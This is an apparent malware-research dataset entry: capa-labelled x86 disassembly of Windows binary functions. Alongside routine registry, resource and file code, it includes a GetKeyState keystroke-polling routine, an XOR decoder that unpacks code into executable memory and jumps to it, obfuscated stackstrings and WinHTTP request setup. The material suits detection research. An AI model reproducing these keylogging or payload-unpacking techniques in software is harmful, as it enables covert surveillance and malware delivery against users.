joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405340
Capabilities:
Delete registry key

Disassembly:
push str.Advapi32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x405355
mov eax, 0x7e
ret
push str.RegDeleteKeyExA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x405376
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
ret
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 0xc]
push ecx
mov ecx, dword [esp + 0xc]
push edx
push ecx
call eax
ret

Function at 0x405e80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x44459b
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x45ba98]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
lea ecx, [esi + 0x30]
mov dword [esp + 0x14], 0
call fcn.00401670
lea ecx, [esi + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call fcn.00405a60
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret

Function at 0x406d60
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
add eax, eax
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x10]
push esi
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
push eax
push 0
mov dword [edi], 0
mov eax, dword [ecx]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406dd6
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x406da5
cmp eax, 2
jne 0x406dc1
mov eax, dword [esp + 0x14]
test esi, esi
je 0x406dd0
test eax, eax
je 0x406dcb
test al, 1
jne 0x406dc1
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x406dd0
pop edi
mov eax, 0xd
pop esi
ret 0xc
xor edx, edx
mov word [esi], dx
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop edi
pop esi
ret 0xc

Function at 0x406de0
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
test esi, esi
je 0x406dfd
cmp dword [edi], 2
jae 0x406dfd
pop edi
mov eax, 0x7a
pop esi
ret 0xc
mov eax, dword [edi]
add eax, eax
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push esi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push eax
push 0
mov dword [edi], 0
mov eax, dword [ecx]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406e6c
cmp dword [esp + 0x14], 7
je 0x406e3b
pop edi
mov eax, 0xd
pop esi
ret 0xc
mov ecx, dword [esp + 0x10]
test esi, esi
je 0x406e66
test cl, 1
jne 0x406e31
mov eax, ecx
shr eax, 1
cmp eax, 1
jb 0x406e31
cmp word [esi + eax*2 - 2], 0
jne 0x406e31
cmp eax, 1
jbe 0x406e66
cmp word [esi + eax*2 - 4], 0
jne 0x406e31
shr ecx, 1
mov dword [edi], ecx
xor eax, eax
pop edi
pop esi
ret 0xc
Function at 0x410e10
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x428
mov eax, dword [0x45ba98]
xor eax, esp
mov dword [esp + 0x424], eax
push ebx
mov ebx, dword [esp + 0x430]
push ebp
mov ebp, dword [esp + 0x438]
push ebp
push ebx
mov dword [esp + 0x14], ecx
call fcn.00410cd0
test eax, eax
je 0x410efe
push esi
push edi
lea eax, [esp + 0x10]
push eax
mov ecx, ebp
or ecx, 8
push ecx
push 0
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edi, edi
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x14]
push 0
push 0
push 0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x240]
push ecx
push edi
push edx
mov dword [esp + 0x38], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
test esi, esi
jne 0x410ee3
push ebx
lea eax, [esp + 0x28]
push 0x104
push eax
call fcn.00431ff8
push 0x44ad74
lea ecx, [esp + 0x34]
push 0x104
push ecx
call fcn.00431f7b
lea edx, [esp + 0x244]
push edx
lea eax, [esp + 0x40]
push 0x104
push eax
call fcn.00431f7b
add esp, 0x24
push ebp
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x1c]
call fcn.00410e10
inc edi
test esi, esi
je 0x410e64
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x42c]
pop ebp
pop ebx
xor ecx, esp
call fcn.00430eb8
add esp, 0x428
ret 8

Function at 0x410fc0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x45ba98]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x11c
lea eax, [esp + 8]
push 0
push eax
call fcn.00431640
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call esi
test eax, eax
jne 0x411015
lea edx, [esp + 4]
push edx
mov dword [esp + 8], 0x114
call esi
test eax, eax
je 0x411045
cmp dword [esp + 0x14], 2
jne 0x411045
cmp dword [esp + 8], 5
jne 0x411045
cmp dword [esp + 0xc], 0
jne 0x411045
mov eax, 1
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00430eb8
add esp, 0x120
ret
mov ecx, dword [esp + 0x120]
pop esi
xor ecx, esp
xor eax, eax
call fcn.00430eb8
add esp, 0x120
ret
Function at 0x4124fb
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x45ba98]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x412593
push 0x44b314
push 4
push eax
call fcn.00431ff8
push eax
call fcn.004023a0
add esp, 0x10
push ebx
push edi
call fcn.00431cad
mov edi, dword [eax]
call fcn.00431cad
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0043246f
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.00431cad
cmp dword [eax], ebx
je 0x4125aa
call fcn.00431cad
push dword [eax]
call fcn.0041163f
pop ecx
jmp 0x4125b1
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41253e
jmp 0x412638
call fcn.00431cad
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
je 0x412634
cmp dword [ebp - 0x234], esi
jae 0x412634
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x270]
push ebx
push eax
mov dword [ebp - 0x274], 0x40
call fcn.00431640
add esp, 0xc
push 0x44b074
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x412623
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x412623
lea ecx, [ebp - 0x274]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x412623
push ebx
push ebx
push esi
jmp 0x41262c
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x412636
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00430eb8
leave
ret

Function at 0x4145a1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4145b9
mov edi, dword [esi + 0xc]
jmp 0x4145f9
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4145d2
call fcn.0041c20c
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4145e7
call fcn.0041c20c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4145f9
call fcn.0041c20c
call fcn.0041e4ab
cmp dword [eax + 0x3c], 0
je 0x41460e
push edi
mov ecx, ebx
call fcn.00413398
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004144c7
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x41462c
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x5c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x414638
mov edi, eax
mov dword [ebx + 0x5c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41a1c1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x41a208
call fcn.0041e4ab
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41a208
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41a224
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00419d39
mov esi, eax
test edi, edi
je 0x41a222
test ebx, ebx
je 0x41a222
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41b177
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4458b6
call fcn.004322fb
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x41b19c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41b1e2
lea ecx, [ebp - 0x10]
call fcn.00401290
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041156a
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401020
mov eax, esi
call fcn.004323d3
ret 8

Function at 0x41bed3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x41bef7
cmp dword [edi + 0x54], 0
jne 0x41bef7
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041e4ab
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041be94
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41f0d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x41f11c
call fcn.0041e4ab
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41f11c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x41f15f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x41f148
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41f148
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41f15c
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x430eb8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45ba98]
jne 0x430ec2
repz ret
jmp fcn.004386d9

Function at 0x431b5b
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x431b8c
call fcn.00431cc0
mov dword [eax], esi
call fcn.00431cad
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004369ff
add esp, 0x14
or eax, 0xffffffff
jmp 0x431bc7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x431ba9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00431cd3
pop ecx
jmp 0x431b87
test byte [ebp + 0xc], 0x80
je 0x431bb4
and eax, 0xfffffffe
jmp 0x431bb7
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x431b9a
xor eax, eax
pop esi
pop ebp
ret

Function at 0x431bca
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x431bfb
call fcn.00431cc0
mov dword [eax], esi
call fcn.00431cad
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004369ff
add esp, 0x14
push 0x16
pop eax
jmp 0x431c50
test dword [ebp + 0xc], 0xfffffff9
jne 0x431bd7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x431c28
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00431cd3
pop ecx
call fcn.00431cad
mov eax, dword [eax]
jmp 0x431c50
test al, 0x10
jne 0x431c4e
test al, 1
je 0x431c4e
test byte [ebp + 0xc], 2
je 0x431c4e
call fcn.00431cc0
mov dword [eax], 5
call fcn.00431cad
mov dword [eax], 0xd
jmp 0x431c1f
xor eax, eax
pop esi
pop ebp
ret
Function at 0x43d4a2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043612e
and dword [ebp - 4], 0
cmp dword [0x45f970], 0
mov ebx, eax
jne 0x43d553
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43d604
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43d604
push eax
call fcn.004360bc
mov dword [esp], 0x44f040
push edi
mov dword [0x45f970], eax
call esi
push eax
call fcn.004360bc
mov dword [esp], 0x44f02c
push edi
mov dword [0x45f974], eax
call esi
push eax
call fcn.004360bc
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45f978], eax
call esi
push eax
call fcn.004360bc
pop ecx
mov dword [0x45f980], eax
test eax, eax
je 0x43d553
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004360bc
pop ecx
mov dword [0x45f97c], eax
mov eax, dword [0x45f97c]
cmp eax, ebx
je 0x43d5ab
cmp dword [0x45f980], ebx
je 0x43d5ab
push eax
call fcn.00436137
push dword [0x45f980]
mov esi, eax
call fcn.00436137
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43d5ab
test edi, edi
je 0x43d5ab
call esi
test eax, eax
je 0x43d5a2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43d5a2
test byte [ebp - 0xc], 1
jne 0x43d5ab
or dword [ebp + 0x10], 0x200000
jmp 0x43d5e4
mov eax, dword [0x45f974]
cmp eax, ebx
je 0x43d5e4
push eax
call fcn.00436137
pop ecx
test eax, eax
je 0x43d5e4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43d5e4
mov eax, dword [0x45f978]
cmp eax, ebx
je 0x43d5e4
push eax
call fcn.00436137
pop ecx
test eax, eax
je 0x43d5e4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45f970]
call fcn.00436137
pop ecx
test eax, eax
je 0x43d604
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43d606
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x443377
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
call fcn.00443042
push eax
push esi
push dword [ebp + 8]
call fcn.00442ff7
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00443032
mov edi, 0x8d6a3e5e
inc ebp
call 0x512c9128
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00443042
push eax
push esi
push dword [ebp + 8]
call fcn.00442ff7
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00443042
push eax
push esi
push dword [ebp + 8]
call fcn.00442ff7
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00443042
push eax
push esi
push dword [ebp + 8]
call fcn.00442ff7
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00443032
ret
Function at 0x4017ca
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401809
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401809
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401809
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401809
cmp dword [ecx + 0x74], 0xe
jbe 0x401809
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1002fac0
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x101530b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
push esi
mov esi, dword [ebp + 0x24]
mov dword [ebp - 0x210], esi
mov dword [esi], 1
je 0x1002fbc7
push ebx
mov ebx, dword [ebp + 0x14]
push 0x10
mov dword [ebp - 0x208], ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002fb13
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002fb2c
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002fb45
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1015ba8c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1015c500]
cmp eax, dword [ecx + 4]
jg 0x1002fbda
movzx eax, bl
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul edx, ecx, 0x1000193
mov ecx, 0x1015c4e0
xor edx, eax
imul eax, edx, 0x1000193
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.100638f0
pop ebx
mov eax, dword [eax + 4]
test eax, eax
je 0x1002fbc7
cmp eax, dword [0x1015c4e4]
je 0x1002fbc7
mov dword [esi], 0
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.1000551e
mov esp, ebp
pop ebp
ret 0x20
push 0x1015c500
call fcn.100638f0
add esp, 4
cmp dword [0x1015c500], 0xffffffff
jne 0x1002fb61
push edi
mov dword [ebp - 0x20c], 0
lea edi, [ebp - 0x204]
mov dword [ebp - 0x20c], 0
mov ecx, 0x80
mov eax, dword [ebp - 0x20c]
mov esi, 0x1010f410
rep movsd dword es:[edi], dword [esi]
mov dword [0x1015c4e0], eax
mov dword [0x1015c4e4], 0
mov dword [0x1015c4e8], 0
push 0xc
lfence
call fcn.100638f0
add esp, 4
mov ecx, 0x1015c4ec
mov dword [eax], eax
mov dword [eax + 4], eax
push eax
push 0x10
mov dword [0x1015c4e4], eax
mov dword [0x1015c4ec], 0
mov dword [0x1015c4f0], 0
mov dword [0x1015c4f4], 0
mov dword [0x1015c4f8], 7
mov dword [0x1015c4fc], 8
mov dword [0x1015c4e0], 0x3f800000
call fcn.100638f0
lea eax, [ebp - 4]
mov ecx, 0x1015c4e0
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.100638f0
push 0x10102700
call fcn.100638f0
push 0x1015c500
call fcn.100638f0
mov esi, dword [ebp - 0x210]
add esp, 8
pop edi
jmp 0x1002fb61

Function at 0x100638f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x100638ff
pop dword [ebp - 4]
mov eax, 0xb07e3f8d
sub eax, 0xa078068e
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x81575
push 0
mov eax, 0x3719d03d
sub eax, 0x27098e71
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x4ea2
mov edx, eax
mov esi, 0x5c05e78
sub esi, 0xf5a87a78
add esi, dword [ebp - 4]
mov ebx, 0x1216bd8
add ebx, 0x2474e569
mov edi, dword [esi]
xor edi, ebx
mov dword [edx], edi
add edx, 0xab3bc7cc
sub edx, 0xab3bc7c8
add esi, 0xcc826762
add esi, 0x337d98a2
loop 0x10063958
add eax, 0x77261f40
add eax, 0x88db0e1b
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x100ab010
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.1004d0a0
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.1004d0a0
test al, al
je 0x100ab058
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x1010452c]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.100638f0
cmp dword [ebx + 0x40], 0
je 0x100ab0c3
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.100638f0
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100ab0b4
lfence
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x1010452c]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x100ab0ca
push 0xe
mov ecx, ebx
call fcn.100638f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.100638f0
push 0x1013b7d0
lea eax, [ebp - 0x10]
push eax
call fcn.100638f0
int3